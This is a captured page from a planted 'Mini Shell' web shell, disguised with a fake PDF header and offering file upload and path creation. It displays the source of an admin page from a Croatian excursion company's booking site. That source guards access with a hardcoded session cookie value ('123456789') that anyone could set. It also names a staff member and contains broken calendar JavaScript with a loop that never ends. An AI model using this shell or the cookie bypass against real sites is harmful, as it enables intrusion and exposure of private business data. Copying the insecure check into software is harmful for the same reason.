%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/buggydubrovnik.com/prodaja/
Upload File :
Create Path :
Current File : /var/www/html/buggydubrovnik.com/prodaja/excursions1.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript" src="businesslayer.js" ></script>
<script type="text/javascript" >
<!--
var dA = new Array();
var izletipopis = new Array();
var cala="";

//Parsiranje rezultata
function ParsirajSve(value)
{
	value = value.split("##");
	for (var i = 0; i < value.length; i++)
	{
	var tmp = value[i].split("==");
	value[tmp[0]] = tmp[1];
	}
	return value;
}


var vari = "";

var rdatum="";




//za prikaz stranice
function PrikaziPrvu()
{

	var dat = new Date();
	dat.setDate(dat.getDate() + 1);
	
	
}
var datumi=new Array();
var podaci=new Array();

function PrikaziDatume1()
{	
var odkad = new Date(2011,03,20); 
		var dokad = new Date(2011,04,02);
		odkad.setMonth(odkad.getMonth() - 1,odkad.getDate());
		dokad.setMonth(dokad.getMonth() - 1,dokad.getDate());
		
		while(odkad <= dokad)
		{
			alert(odkad.getDate());
			alert(odkad.getFullYear()+'-'+odkad.getMonth()+'-'+odkad.getDate() );
			alert((parseInt(odkad.getMonth())+1) +"sdcfdsc");
		}

	var datumsutra = new Date();
	datumsutra.setDate(datumsutra.getDate() + 1);
	var godina = String(datumsutra.getFullYear());
	var mj= datumsutra.getMonth()+1;if(mj<10){mj="0"+mj;}
	var dan = datumsutra.getDate();if(dan<10){dan="0"+dan;}
	datumsutra1=' '+godina+mj+dan;
	popisIzleta(datumsutra1);
	PrikaziDatume();
	
	datumi = ParsirajSve(vari);
	//document.write(vari);
	PopuniKalendar();
	
	if (cala = dispCal(godina,mj)) {document.getElementById('cal').innerHTML = cala; return false;}
	
	
	
	
}
loaded('calendar',start);



//MakeRequestDeleteIzlet(id);






var tb = 't'; // top or bottom (t or b)
var headbg = '#002951';  // table heading background colour
var todaybg = '#99cccc'; // current selected date background colour
var textclr = '#000000'; // text colour
var linkclr = 'red'; // link text colour
var noMessage =  'Nema izleta za odabrani datu,'; // message to display when no entry in array




// first 8 characters in ccyymmdd format for single date events
// first 8 characters in 0000mmdd format for every year events

function popisIzleta(datum)
{document.getElementById('dropdown').innerHTML="Loading...";
	datumbaza=datumrazdvoji(datum);
	datumnaslov=datumbaza.split("-");
	MakeRequestLoadPKIzletDT(datumbaza);
	izletipopis = ParsirajSve(vari);
	document.getElementById('dropdown').innerHTML='<span style="font-family:Verdana, Geneva, sans-serif; font-size:14px;"><b>Popis izleta za </b></span><span style="font-family:Verdana, Geneva, sans-serif; font-size:14px;color:#c16b00;"><b>'+datumnaslov[2]+'.'+datumnaslov[1]+'.'+datumnaslov[0]+' </b>:</span><br /><br /> ';
	for(i=0;i<izletipopis['brojac'];i++)
	{
	document.getElementById('dropdown').innerHTML+='<p><img src="slike/dot.png" /> <a href="izlet.php?id='+izletipopis['idizlet'+i]+'"><span style="font-size:14px;"><b>'+izletipopis['naziv'+i]+'</b></span></a></p>';
	}
	}



function PopuniKalendar()
{ 

var danas = new Date();  
var mjesec = danas.getMonth(); 
var godina = danas.getFullYear(); 
var godina1 = godina;
var mjesec1 = mjesec+1;
if (mjesec==12) {godina1+=1;mjesec1=1;}

var x = 0;
dA = [];




for(i=0;i<datumi['brojac'];i++)
{datumispis=datumzajedno(datumi['datum'+i]);
	dA[i]=datumispis+' '+datumispis;
}
      
    return true;
}
//-->


// dA[x++] = "20060610 New Event Calendar Started today";

// permission is granted to use this javascript provided that the below code is not altered
var pageLoaded = 0; window.onload = function() {pageLoaded = 1;}

function loaded(i,f) 
	{
		if (document.getElementById && document.getElementById(i) != null) 	f();
		else if (!pageLoaded) setTimeout('loaded(\''+i+'\','+f+')',100);
	}


function monthlength(month,year) {var dd = new Date(year, month, 0);return dd.getDate();}

var moy = ['Siječanj','Veljača','Ožujak','Travanj','Svibanj','Lipanj','Srpanj','Kolovoz','Rujan','Listopad','Studeni','Prosinac'];
var today = new Date();
var selDate = today.getFullYear()+getmmdd(today.getMonth()+1,today.getDate());



function dispCal(yy,mm) {
	if (mm < 0 || mm > 12) {alert('month must be between 1 and 12'); return false;} 
	if (yy != 0 && (yy < 1901 || yy > 2100)) 
		{	alert('year must be after 1900 and before 2101');
			return false;
		} 
	
	var dow = ['Ned','Pon','Uto','Sri','Čet','Pet','Sub']; 
	var calendar = new Date();  
	var today = calendar.getDate(); 
	calendar.setDate(1); 
	if (yy > 1900) calendar.setFullYear(yy); 
	if (mm > 0) calendar.setMonth(mm - 1); 
	var yy = year = calendar.getFullYear(); 
	var month = calendar.getMonth(); 
	calendar.setDate(today); 
	var weekday = calendar.getDay(); 
	var daysInMonth = monthlength(month+1,year); 
	var hilite_start = '<td width="30" style="background:' + todaybg + '" align="center"><b>'; 
	var td_start = '<td width="30" align="center">'; 
	var cal = '<div id="cal"><div style="border:1pt solid #cccccc;width:238px"><table border="0" cellspacing="0" cellpadding="2" align="center"><tr><td colspan="7" style="background:' + headbg + '; color:#fff;" align="center"><b>' + moy[month]  + ' ' + year + '<\/b><\/td><\/tr><tr>'; 
	
	for(dex=0; dex < 7; dex++) 
		{
			cal += td_start + dow[dex] + '</td>';
		} 
	
	cal += '<\/tr><tr>'; 
	var day2 = today; 
	for (dex = today; dex > 6; dex -=7) day2 = dex; 
	weekday -= day2 - 1; 
	while (weekday < 0) weekday += 7; 
	
	for(dex=0; dex < weekday; dex++) cal += td_start + ' <\/td>'; 
	for(dex=1; dex <= daysInMonth; dex++) 
		{
			if(weekday == 7) 
				{cal += '</tr><tr>'; weekday = 0;} 
			
			if(selDate==year+getmmdd(month+1,dex)) cal += hilite_start +'<span '+clickDate(dex,month,year) + '>'+ dex + '<\/span><\/b><\/td>';
			else cal += td_start + '<span '+clickDate(dex,month,year) + '>' + dex + '<\/span><\/td>'; weekday += 1;
		} 
	
	for(dex=weekday; dex < 7; dex++) cal += td_start + ' <\/td>';
	cal += '<\/tr><\/table><\/div>';
	if (document.getElementById) 
		{
			var mmb = month;
			mm = month + 1;
			var yya = yyb = yy;
			if (mmb <1) {mmb += 12; yyb--;}
			var mma = month + 2; 
			if (mma > 12) {mma -= 12; yya++;} 
			var yb = yy -1; 
			var ya = yy +1;
			cal += '<br /><table border="0" cellspacing="0" cellpadding="2" width="240"><tr><td width="80px" height="20px;" align="left"><a href="#" onclick="if (cala = dispCal('+yb+','+mm+')) {document.getElementById(\'cal\').innerHTML = cala; return false;}"></a><a href="#" onclick="if (cala = dispCal('+yyb+','+mmb+')) {document.getElementById(\'cal\').innerHTML = cala; return false;}"><img border="0" src="slike/rw.png" /></a></td><td width="0"></td><td align="left"></td><td width="70px" align="right"  width="0"><a href="#" onclick="if (cala = dispCal('+yya+','+mma+')) {document.getElementById(\'cal\').innerHTML = cala; return false;}"><img border="0" src="slike/ff.png" /></a><a href="#" onclick="if (cala = dispCal('+ya+','+mm+')) {document.getElementById(\'cal\').innerHTML = cala; return false;}"></a></td></tr></table>';
		} 
		
		else {cal += '<div> </div>';}
		cal += '</div>';
		return cal;
	}

function start() 
	{
		var x = '<div id="calDate" style="border:1pt solid #cccccc;width:238px"><\/div>';
		var y = '';
		if (tb == 't') y = x + dispCal(0,0);
		else y = dispCal(0,0) + x; document.getElementById('calendar').innerHTML = y;
		ev();
	}
	


function clickDate(day, month, year) 
	{
		var ct = nextDate(year + getmmdd(month+1,day));
		if (ct == '') ct = nextDate('0000' + getmmdd(month+1,day));
		if (ct == '') return 'style="color:'+textclr+'"';
		else return 'style="cursor:pointer;color:'+linkclr+'" onclick="selDate = '+year+ getmmdd(month+1,day)+'; isDate(' + day + ',' + month + ',' + year + ');return false;"';
	}

function isDate(dayVal,monthVal,yearVal) 
	{
		var ct = nextDate(yearVal + getmmdd(monthVal+1,dayVal));
		if (ct == '') ct = nextDate('0000' + getmmdd(monthVal+1,dayVal));
		if (ct == '') ct = noMessage;popisIzleta(ct);
		return false;
	}

function nextDate(yymmdd) 
	{
		var x = dA.length;
		for (var i = 0; i < x; i++) 
			{
				if (dA[i].substr(0,8) == yymmdd) return dA[i].substr(8);
			}
			return '';
	}

function getmmdd(mm,dd) 
	{
		return (mm > 9 ? '' + mm : '0' + mm) + (dd > 9 ? dd : '0' + dd);
	}


function ev() 
	{
		var ct = nextDate(selDate);
		var ct = nextDate(selDate);
		if (ct == '') ct = nextDate('0000' + selDate.substr(4));
		if (ct == '') ct = noMessage; document.getElementById('calDate').innerHTML = '' ;
	}

</script>
<?php

if($_COOKIE["SessionID"]!="123456789")  header( 'Location: index.php?greska=1' ) ;
;
?>
<link href="style.css" rel="stylesheet" type="text/css" />

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Poslovanje</title>
</head>

<body onload="javascript:PrikaziDatume1();" style=" margin:0 auto;">

<div id="gornjatraka">
<div style="float:right; margin-right:5px;padding-top:55px;">Prijavljeni ste kao <b>Ivan Ivušić</b></div>
</div>

<div id="main">
<div id="izborniklijevo">
<div class="izbornik"><img src="slike/home.png" style="vertical-align:middle"  /> <a href="start.php">&nbsp;Glavni izbornik</a>
</div>
<div class="izbornik"><img src="slike/filer.png" style="vertical-align:middle"  /> <a href="excursions.php">&nbsp;Izleti početna</a>
</div>

<div class="izbornik"><img src="slike/uizlet.png" style="vertical-align:middle"  /> <a href="krizlet.php">&nbsp;Kreiraj izlet</a>
</div>

<div class="izbornik"><img src="slike/pin.png" style="vertical-align:middle"  /> <a href="unmjkuplj.php">&nbsp;Mjesta kupljenja</a>
</div>


<div class="izbornik"><img src="slike/partner.png" style="vertical-align:middle"  /> <a href="unpart.php">&nbsp;Unos partnera</a>
</div>



<div class="izbornik"><img src="slike/bus.png" style="vertical-align:middle"  /> <a href="unvozila.php">&nbsp;Unos vozila</a>
</div>

<div class="izbornik"><img src="slike/vodic.png" style="vertical-align:middle"  /><a href="unvodica.php"> &nbsp;Unos vodiča</a>
</div>

<div class="izbornik"><img src="slike/wheel.png" style="vertical-align:middle"  /> <a href="unvozaca.php">&nbsp;Unos vozača</a>
</div>

</div>
<div id="tijelo"><div style="width:100%; margin-bottom:25px; font-size:18px; color:#333; text-decoration:underline; text-align:left; padding-top:20px;">IZLETI<br /><br /><span style="font-size:12px; text-decoration:none;">Klikom na datum (crvene boje) na kalendaru ispisuju se pojedini izleti za odabrani datum s lijeve strane.</span></div>

<div id="dropdown">
<span style="font-family:Verdana, Geneva, sans-serif; font-size:14px;"><b>Popis izleta :</b></span><br /><br />



</div>
<div id="calendar"></div>
</div>
</div>


Zerion Mini Shell 1.0